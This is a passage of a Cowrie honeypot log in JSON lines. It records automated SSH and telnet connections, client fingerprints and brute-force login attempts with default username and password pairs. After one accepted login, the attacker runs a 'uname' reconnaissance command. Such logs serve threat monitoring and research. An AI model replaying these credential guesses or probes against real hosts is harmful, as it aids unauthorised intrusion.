{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:40.401524Z","src_ip":"193.151.144.93","session":"37a73fd9b3e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:40.899390Z","src_ip":"193.151.144.93","session":"37a73fd9b3e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:42.067147Z","src_ip":"193.151.144.93","session":"37a73fd9b3e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.90.159.193","src_port":44492,"dst_ip":"159.203.135.109","dst_port":22,"session":"04c588435dc4","protocol":"ssh","message":"New connection: 164.90.159.193:44492 (159.203.135.109:22) [session: 04c588435dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:42.153724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:42.158519Z","src_ip":"164.90.159.193","session":"04c588435dc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:42.230817Z","src_ip":"164.90.159.193","session":"04c588435dc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":57156,"dst_ip":"10.17.0.5","dst_port":22,"session":"d38194b623ef","protocol":"ssh","message":"New connection: 193.151.144.93:57156 (10.17.0.5:22) [session: d38194b623ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:45.584272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:45.590759Z","src_ip":"193.151.144.93","session":"d38194b623ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:45.761008Z","src_ip":"193.151.144.93","session":"d38194b623ef","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:46.270358Z","src_ip":"193.151.144.93","session":"d38194b623ef","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:47.080653Z","src_ip":"193.151.144.93","session":"d38194b623ef","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:47.084023Z","src_ip":"193.151.144.93","session":"d38194b623ef","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:47.256553Z","src_ip":"193.151.144.93","session":"d38194b623ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:47.261488Z","src_ip":"193.151.144.93","session":"d38194b623ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:50.157454Z","src_ip":"164.90.159.193","session":"04c588435dc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":41596,"dst_ip":"10.17.0.5","dst_port":22,"session":"a150ef7f2368","protocol":"ssh","message":"New connection: 193.151.144.93:41596 (10.17.0.5:22) [session: a150ef7f2368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:51.120123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:51.124720Z","src_ip":"193.151.144.93","session":"a150ef7f2368","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:51.330132Z","src_ip":"193.151.144.93","session":"a150ef7f2368","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:51.859512Z","src_ip":"193.151.144.93","session":"a150ef7f2368","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:53.466786Z","src_ip":"193.151.144.93","session":"a150ef7f2368","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":41600,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cf8490ee67a","protocol":"ssh","message":"New connection: 193.151.144.93:41600 (10.17.0.5:22) [session: 7cf8490ee67a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:56.612012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:56.617131Z","src_ip":"193.151.144.93","session":"7cf8490ee67a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:56.786527Z","src_ip":"193.151.144.93","session":"7cf8490ee67a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:57.296466Z","src_ip":"193.151.144.93","session":"7cf8490ee67a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:10:58.468744Z","src_ip":"193.151.144.93","session":"7cf8490ee67a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":37298,"dst_ip":"10.17.0.5","dst_port":22,"session":"375ab605b0f0","protocol":"ssh","message":"New connection: 193.151.144.93:37298 (10.17.0.5:22) [session: 375ab605b0f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:02.367510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:02.371770Z","src_ip":"193.151.144.93","session":"375ab605b0f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:02.537673Z","src_ip":"193.151.144.93","session":"375ab605b0f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:03.032424Z","src_ip":"193.151.144.93","session":"375ab605b0f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:04.661400Z","src_ip":"193.151.144.93","session":"375ab605b0f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":37310,"dst_ip":"10.17.0.5","dst_port":22,"session":"675c3b4fb586","protocol":"ssh","message":"New connection: 193.151.144.93:37310 (10.17.0.5:22) [session: 675c3b4fb586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:07.730082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:07.735714Z","src_ip":"193.151.144.93","session":"675c3b4fb586","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:07.897568Z","src_ip":"193.151.144.93","session":"675c3b4fb586","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:08.382193Z","src_ip":"193.151.144.93","session":"675c3b4fb586","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:09.545685Z","src_ip":"193.151.144.93","session":"675c3b4fb586","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":33412,"dst_ip":"10.17.0.5","dst_port":22,"session":"e92680befd90","protocol":"ssh","message":"New connection: 193.151.144.93:33412 (10.17.0.5:22) [session: e92680befd90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:13.150651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:13.155831Z","src_ip":"193.151.144.93","session":"e92680befd90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:13.323087Z","src_ip":"193.151.144.93","session":"e92680befd90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:13.883657Z","src_ip":"193.151.144.93","session":"e92680befd90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:15.053653Z","src_ip":"193.151.144.93","session":"e92680befd90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":54838,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a47961a83e5","protocol":"ssh","message":"New connection: 109.237.96.109:54838 (10.17.0.5:22) [session: 4a47961a83e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:15.379924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:15.387204Z","src_ip":"109.237.96.109","session":"4a47961a83e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":53800,"dst_ip":"159.203.135.109","dst_port":23,"session":"86a838b18eee","protocol":"telnet","message":"New connection: 69.4.83.194:53800 (159.203.135.109:23) [session: 86a838b18eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:15.450180Z"}
